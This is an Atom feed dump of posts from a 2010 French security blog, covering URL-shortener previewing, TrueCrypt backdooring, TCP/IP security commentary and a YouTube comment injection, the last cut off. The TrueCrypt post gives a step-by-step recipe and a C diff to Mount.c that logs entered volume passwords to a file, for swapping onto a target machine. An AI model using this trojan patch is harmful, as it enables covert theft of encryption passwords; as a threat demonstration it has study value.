src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_oGUvVXIO2bc/TI8vza8Sq3I/AAAAAAAAAC0/FhaM_usYoew/s72-c/php-shell.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2330984441575997476.post-2432822752838579011</id><published>2010-08-25T17:43:00.012+02:00</published><updated>2010-08-29T22:28:13.003+02:00</updated><title type='text'>UVB-76 UVB-76  t i n y u r l   3 4 8 7 4 9 6 -- UVB-76 UVB-76  t i n y u r l   3 4 8 7 4 9 6</title><content type='html'>Les sites raccourcisseurs d'URL deviennent de plus en plus en courant. Un des plus connu d'entre eux est &lt;a href="http://tinyurl.com/"&gt;tinyurl&lt;/a&gt;. Le principe en est simple. Tinyurl enregistre une base de données entre une URL longue, comme par exemple http://www.domaine.com/repertoire/sous-repertoire/code.extension?var=veryveryverylongvalue&amp;amp;var2=value et une URL de taille fixe, courte, comme: http://tinyurl.com/(7 caractères). Un clic sur l'URL courte redirige vers l'URL longue.&lt;br /&gt;&lt;br /&gt;Ces raccourcisseurs d'URL ont connu une popularité grandissante entre autre grâce à &lt;a href="http://twitter.com/"&gt;twitter&lt;/a&gt; qui limite le nombre de caractère.&lt;br /&gt;tinyurl est intéressant du point de vue de la sécurité car il a participé à des attaques informatiques. Il y a eu l'attaque réussie contre apache &lt;a href="http://tinyurl.com/2w667ej"&gt;http://tinyurl.com/2w667ej&lt;/a&gt;. Plus dernièrement un développeur d'openBSD s'est fait pister vie une tinyURL. Un développeur pensait pouvoir poster sous pseudo de manière anonyme, un développeur lui a donc envoyé un mail avec un lien tinyurl. Ce lien pointait chez le second développeur afin de logger l'IP de la personne cliquant dessus, l'histoire est indiqué ici: &lt;a href="http://bit.ly/9SFh4K"&gt;http://bit.ly/9SFh4K&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Dans les deux cas, le principe est le même: la personne visée clique en confiance sur le lien tinyurl, ce qui la mène à sa perte :-) Pour l'internaute avisé, il est toujours agaçant de devoir cliquer sur une URL raccourcie sans savoir ou l'on va tomber.&lt;br /&gt;&lt;br /&gt;Comment faire donc pour "voir avant" ou l'on arrive? Quelques add-ons firefox existent, mais je ne les ai pas testé. Il existe des méthodes fonctionnant sous tous les navigateurs pour agrandir ces URL.&lt;br /&gt;&lt;br /&gt;-TinyURL: le plus simple consiste a activer le cookie de non-redirection, cf &lt;a href="http://tinyurl.com/preview.php"&gt;http://tinyurl.com/preview.php&lt;/a&gt;. Tout clic sur un lien tinyurl présentera le lien de redirection complet. C'est extrêmement utile, à se demander pourquoi tout le monde ne le fait pas par défaut! Une autre méthode consiste à copier-coller le lien en ajoutant preview dans l'URL, par exemple: &lt;a href="http://preview.tinyurl.com/2w667ej"&gt;http://preview.tinyurl.com/2w667ej&lt;/a&gt;&lt;br /&gt;-Bit.ly: apparemment, aucun mécanisme de preview n'existe comme avec tinyurl. Toutefois, il est possible d'ajouter un + à la fin de l'URL pour en voir les statistiques, ex: &lt;a href="http://bit.ly/9SFh4K+"&gt;http://bit.ly/9SFh4K+&lt;/a&gt;, de ce fait, détourné, on peut voir ou envoie le lien.&lt;br /&gt;&lt;br /&gt;-Pour les nombreux autres sites de preview, il existe la méthode netcat en one-liner:&lt;br /&gt;&lt;pre&gt;kevin@slackware:~$ printf 'GET http://bit.ly/9SFh4K \&lt;br /&gt;HTTP/1.1\r\nHost: bit.ly\r\n\r\n' | nc bit.ly 80&lt;br /&gt;&lt;/pre&gt;et faire de même pour les autres sites en adaptant l'URL, le Host et le domaine. Le rendu sera une code très explicite indiquant ou renvoie le code 301.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2330984441575997476-2432822752838579011?l=exploitability.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploitability.blogspot.com/feeds/2432822752838579011/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://exploitability.blogspot.com/2010/08/uvb-76-uvb-76-t-i-n-y-u-r-l-3-4-8-7-4-9.html#comment-form' title='3 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/2432822752838579011'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/2432822752838579011'/><link rel='alternate' type='text/html' href='http://exploitability.blogspot.com/2010/08/uvb-76-uvb-76-t-i-n-y-u-r-l-3-4-8-7-4-9.html' title='UVB-76 UVB-76  t i n y u r l   3 4 8 7 4 9 6 -- UVB-76 UVB-76  t i n y u r l   3 4 8 7 4 9 6'/><author><name>Kevin</name><uri>http://www.blogger.com/profile/02931502286392645382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2330984441575997476.post-620910355485917830</id><published>2010-08-02T10:57:00.006+02:00</published><updated>2010-09-08T13:52:31.306+02:00</updated><title type='text'>Truecrypt will never be the same, ya dun goof'd!</title><content type='html'>En recherche pour un travail préparatoire, j'ai eu a étudier &lt;a href="http://www.truecrypt.org/"&gt;Truecrypt&lt;/a&gt;. Truecrypt est un logiciel de chiffrement &lt;a href="http://www.ssi.gouv.fr/site_rubrique54_certificat_cspn_2008_03.html"&gt;solide&lt;/a&gt;, ayant l'avantage de proposer en standard un système de &lt;a href="http://www.truecrypt.org/docs/?s=plausible-deniability"&gt;Plausible Deniability&lt;/a&gt;. De plus, il a eu les honneurs de la presse on-line puisqu'il a &lt;a href="http://sid.rstack.org/blog/index.php/400-pbkdf2-a-l-epreuve-du-fbi"&gt;empêché le FBI&lt;/a&gt; &lt;a href="http://yro.slashdot.org/story/10/06/26/1825204/FBI-Failed-To-Break-Encryption-of-Hard-Drives"&gt;d'accéder à des données&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;A l'époque, je m'étais interrogé: pourquoi donc est-ce que le FBI n'a pas accédé une première fois à la machine concernée pour lui corrompre son programme TrueCrypt avant de saisir sa machine? A noter que le disque système n'était pas chiffré, seul un container ayant les documents confidentiels était protégé par Truecrypt.&lt;br /&gt;Est-il si compliqué que de le modifier pour qu'il logue les mots de passe quelque part? Il s'agit en effet d'un programme open source. La réponse tient en 6 lignes de code.&lt;br /&gt;&lt;br /&gt;Voici donc comment faire pour récupérer les mots de passe de Truecrypt.&lt;br /&gt;1/ Récupérer &lt;a href="http://www.truecrypt.org/downloads2"&gt;les sources de Truecrypt&lt;/a&gt;&lt;br /&gt;2/ Lire le source de &lt;span style="font-family:courier new;"&gt;Mount.c&lt;/span&gt; et ajouter 6 lignes pour que chaque mot de passe entré dans la bonne case aille s'enregistrer dans un fichier.&lt;br /&gt;3/ Recompiler&lt;br /&gt;4/ Changer le truecrypt.exe sur la machine visée par le truecrypt.exe recompilé&lt;br /&gt;5/ Profit&lt;br /&gt;&lt;br /&gt;Le diff du fichier Mount.c :&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;$ diff Mount*&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;3455a3456,3463&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&gt;         /// HACK&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&gt;         {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&gt;             FILE *file = fopen("c:\\windows\\temp\\hack.log", "a");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&gt;             fprintf(file, "Trying password for '%s' was \"%s\"", szFileName, VolumePassword.Text);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&gt;             fclose(file);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&gt;         }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&gt;         /// UnHACK&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;3463a3472,3481&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&gt;         /// HACK&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&gt;         {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&gt;             FILE *file = fopen("c:\\windows\\temp\\hack.log", "a");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&gt;             fprintf(file, " ... status %d [%s]\n", mounted, (mounted &gt; 0) ? "OK" : "ko");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&gt;             fclose(file);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&gt;         }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&gt;         /// UnHACK&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&gt; &lt;/span&gt;&lt;br /&gt;Et j'offre le fichier Truecrypt.zip (le .exe) modifié en téléchargement. [ &lt;span style="font-weight: bold;"&gt;Edit 01/09/2010: Fin du téléchargement.&lt;/span&gt; ]  Les .sys sont identiques entre la version originale et cette version. L'exe modifié est de plus un peu plus petit que l'original :-) Il est donc de fait possible d'ajouter quelques octets pour qu'il fasse une taille équivalente à l'original.&lt;br /&gt;&lt;br /&gt;[ Testé en mode Truecrypt portable sur un XP SP3 32bits, fonctionne avec les mots de passe, pas les fichiers de clés. Thx 2 MGE. ]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2330984441575997476-620910355485917830?l=exploitability.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploitability.blogspot.com/feeds/620910355485917830/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://exploitability.blogspot.com/2010/08/truecrypt-will-never-be-same-ya-dun.html#comment-form' title='12 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/620910355485917830'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/620910355485917830'/><link rel='alternate' type='text/html' href='http://exploitability.blogspot.com/2010/08/truecrypt-will-never-be-same-ya-dun.html' title='Truecrypt will never be the same, ya dun goof&apos;d!'/><author><name>Kevin</name><uri>http://www.blogger.com/profile/02931502286392645382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>12</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2330984441575997476.post-8294816336727252485</id><published>2010-07-14T17:45:00.005+02:00</published><updated>2010-07-15T10:55:47.391+02:00</updated><title type='text'>TCP/IP security is boring</title><content type='html'>Je lis petit à petit les slides et articles fournis dans les &lt;a href="http://www.sstic.org/2010/actes/"&gt;actes du SSTIC 2010&lt;/a&gt;. Les conférences d'&lt;a href="http://laforge.gnumonks.org/weblog/"&gt;Harald Welte&lt;/a&gt; ont attiré mon attention, et plus particulièrement la phrase:&lt;br /&gt;&lt;a href="http://www.sstic.org/media/SSTIC2010/SSTIC-actes/Projet_OpenBSC/SSTIC2010-Slides-Projet_OpenBSC-welte.pdf"&gt;&lt;span style="font-style: italic;"&gt;Don’t you too think that TCP/IP security is boring?&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Et effectivement, la sécurité de TCP/IP, c'est quand même relativement mort.&lt;br /&gt;Quelques questions pour s'en rendre compte..&lt;br /&gt;&lt;br /&gt;Une connexion TCP, c'est un &lt;a href="http://en.wikipedia.org/wiki/Transmission_Control_Protocol"&gt;three-way handshake&lt;/a&gt;? Vous connaissez surement, mais le &lt;a href="http://www.breakingpointsystems.com/community/blog/tcp-portals-the-handshakes-a-lie/"&gt;four-way handshake&lt;/a&gt;? Le prochain big-one qui dev(r)ait faire tomber internet à cause de TCP, &lt;a href="http://tools.ietf.org/html/draft-gont-tcp-security-00"&gt;vous connaissez&lt;/a&gt;? Et &lt;a href="http://www.phrack.com/issues.html?issue=66&amp;amp;id=9"&gt;nkiller2&lt;/a&gt;, vous avez pris &lt;a href="http://exploitability.blogspot.com/2009/06/attaques-reseaux-lentes.html"&gt;le temps d'étudier&lt;/a&gt;? Quelles mesures avez vous prises? Le &lt;a href="http://en.wikipedia.org/wiki/Firewall_%28computing%29"&gt;filtrage de paquet&lt;/a&gt; de votre réseau, vous le faites encore, ou bien vous l'avez infogéré à un presta externe? Et vous avez utilisé un simple rideau, un double rideau? Les flags TCP, il y en a combien? &lt;a href="http://en.wikipedia.org/wiki/Transmission_Control_Protocol"&gt;6 ou 8&lt;/a&gt;? Les &lt;a href="http://www.linuxjournal.com/article/7180"&gt;hidden treasures d'iptables&lt;/a&gt;, vous avez étudié ça? Tiens d'ailleurs, et qu'est ce qui fonctionne le mieux, &lt;a href="http://www.openbsd.org/faq/pf/fr/index.html"&gt;pf&lt;/a&gt; ou &lt;a href="http://www.netfilter.org/"&gt;iptables&lt;/a&gt;? Le meilleur moyen de &lt;a href="http://nmap.org/"&gt;scanner&lt;/a&gt; discrètement un hôte, c'est le Xmas, ou bien &lt;a href="http://nmap.org/man/fr/man-port-scanning-techniques.html"&gt;une autre combinaison&lt;/a&gt;? Je me souviens qu'à une époque, il suffisait d'évoquer la &lt;a href="http://groups.google.fr/groups/search?safe=off&amp;amp;q=scan+de+port+legal+group%3Afr.comp.securite&amp;amp;btnG=Rechercher&amp;amp;sitesearch="&gt;légalité des scans de port&lt;/a&gt; sur n'importe quel forum pour déclencher des trolls homériques. Aujourd'hui, tout ça c'est le néant. On lit à longueur de forums qu'il est possible de &lt;a href="http://www.google.fr/search?q=hadopi+spoof+ip&amp;amp;ie=utf-8&amp;amp;oe=utf-8&amp;amp;aq=t&amp;amp;rls=org.mozilla:fr:official&amp;amp;client=firefox-a"&gt;spoofer des connexions TCP&lt;/a&gt; fiablement et durablement sans que plus personne ne s'émeuve de la bêtise.&lt;br /&gt;&lt;br /&gt;Je crois qu'Harald a raison, vous n'avez sûrement pas du cliquer sur plus de deux liens dans le paragraphe la dessus. &lt;span style="font-style: italic;"&gt;TCP/IP security is boring&lt;/span&gt;. Cela va faire 15 ans qu'on en fait, qu'on sait comment ça marche, pourquoi vouloir continuer à lire et dépiauter les RFCs? TCP/IP, ça "juste marche". Même lorsque les menaces sont réelles, c'est tout juste si on en entend parler. En 2000, le remote root sur pile IP faisait rêver tout le monde. Le programmeur qui aurait pu le faire aurait été sans doute considéré comme un &lt;a href="http://fr.wiktionary.org/wiki/demi-dieu"&gt;demi-dieu&lt;/a&gt; vivant de la sécurité. Puis c'est arrivé, &lt;a href="http://www.immunitysec.com/downloads/KernelPool.odp"&gt;sous&lt;/a&gt; &lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0069"&gt;windows&lt;/a&gt; et vraisemblablement un autre sous &lt;a href="http://./"&gt;linux&lt;/a&gt;. Ca n'a été traité que comme d'autres bugs de sécurité: on voit, on corrige, on patche.&lt;br /&gt;&lt;br /&gt;Dans le temps, oui, la "&lt;span style="font-style: italic;"&gt;TCP/IP security&lt;/span&gt;" était excitante. Mitnick qui a su, lui, &lt;a href="http://www.gulker.com/ra/hack/"&gt;faire du spoofing&lt;/a&gt; &lt;a href="ftp://ftp.sdsc.edu/pub/security/sounds/tweedle-dum.au"&gt;intelligement&lt;/a&gt; ;) . Les filtres de paquets qui passaient de stateless à statefull, les options TCP les plus obscures qui permettaient de traverser du firewall. Mais aujourd'hui, à peu près tous les filtres IP se valent et la discussion va plus porter sur le prix de la solution et/ou la facilité d'utilisation que sur les qualités du produit...&lt;br /&gt;&lt;br /&gt;La sécurité de TCP/IP n'intéresse plus le monde de la sécurité. Si on regarde les actes du SSTIC 2010: rien sur la sécurité TCP/IP. &lt;a href="http://actes.sstic.org/SSTIC09/"&gt;2009&lt;/a&gt;: rien non plus. Il faut remonter à &lt;a href="http://actes.sstic.org/SSTIC08/"&gt;2008&lt;/a&gt; pour avoir &lt;a href="http://actes.sstic.org/SSTIC08/SinFP_Unification_Prise_Empreinte_Active_Passive_Systemes_Exploitation/"&gt;une (1!) conf&lt;/a&gt; qui a pour sujet quelques fonctionnalités liées à TCP/IP... &lt;a href="http://actes.sstic.org/SSTIC07/"&gt;L'année d'avant&lt;/a&gt; une seule conf aussi, ça &lt;a href="http://actes.sstic.org/SSTIC07/IPV6_Scanning/"&gt;parle d'IPv6&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;Don't you too think that TCP/IP security is boring?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2330984441575997476-8294816336727252485?l=exploitability.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploitability.blogspot.com/feeds/8294816336727252485/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://exploitability.blogspot.com/2010/07/tcpip-security-is-boring.html#comment-form' title='1 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/8294816336727252485'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/8294816336727252485'/><link rel='alternate' type='text/html' href='http://exploitability.blogspot.com/2010/07/tcpip-security-is-boring.html' title='TCP/IP security is boring'/><author><name>Kevin</name><uri>http://www.blogger.com/profile/02931502286392645382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2330984441575997476.post-1446998989216306834</id><published>2010-07-07T15:53:00.002+02:00</published><updated>2010-07-09T12:45:13.905+02:00</updated><title type='text'>RMLL 2010</title><content type='html'>Merci à l'organisation.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_oGUvVXIO2bc/TDSHJ1AtSwI/AAAAAAAAAB0/KhVk2ekwICY/s1600/rmll.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 299px;" src="http://3.bp.blogspot.com/_oGUvVXIO2bc/TDSHJ1AtSwI/AAAAAAAAAB0/KhVk2ekwICY/s400/rmll.png" alt="" id="BLOGGER_PHOTO_ID_5491162448590097154" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Lien vers &lt;a href="http://2010.rmll.info/IMG/pdf/06_denis_article.pdf"&gt;l'article&lt;/a&gt; (500ko), lien vers &lt;a href="http://2010.rmll.info/IMG/pdf/06_denis_slides.pdf"&gt;les slides&lt;/a&gt; (6Mo).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2330984441575997476-1446998989216306834?l=exploitability.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploitability.blogspot.com/feeds/1446998989216306834/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://exploitability.blogspot.com/2010/07/rmll-2010.html#comment-form' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/1446998989216306834'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/1446998989216306834'/><link rel='alternate' type='text/html' href='http://exploitability.blogspot.com/2010/07/rmll-2010.html' title='RMLL 2010'/><author><name>Kevin</name><uri>http://www.blogger.com/profile/02931502286392645382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_oGUvVXIO2bc/TDSHJ1AtSwI/AAAAAAAAAB0/KhVk2ekwICY/s72-c/rmll.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2330984441575997476.post-5178389887688516616</id><published>2010-07-04T15:48:00.007+02:00</published><updated>2010-07-04T17:31:07.578+02:00</updated><title type='text'>Je sens un parfum d'injection sur youtube...</title><content type='html'>[EDIT]: C'est corrigé chez youtube. Ils sont rapides.&lt;br /&gt;---&lt;br /&gt;&lt;br /&gt;Youtube ne serait pas protégé contre les injections?&lt;br /&gt;&lt;br /&gt;On vient de m'envoyer un lien youtube présentant une caractéristique curieuse:&lt;br /&gt;&lt;a href="http://www.youtube.com/watch?v=cNvJy0zoXOY"&gt;http://www.youtube.com/watch?v=cNvJy0zoXOY&lt;/a&gt;. La vidéo s'entend bien, mais on ne voit que ceci:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_oGUvVXIO2bc/TDCSLkiHPXI/AAAAAAAAABk/8k1OSm5mbfg/s1600/test.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 235px;" src="http://4.bp.blogspot.com/_oGUvVXIO2bc/TDCSLkiHPXI/AAAAAAAAABk/8k1OSm5mbfg/s400/test.png" alt="" id="BLOGGER_PHOTO_ID_5490048673247608178" border="0" /&gt;&lt;/a&gt;Ma machine n'est pourtant pas infectée...&lt;br /&gt;&lt;br /&gt;Il s'agit d'une injection réalisée par un des commentaires de la vidéo, celui
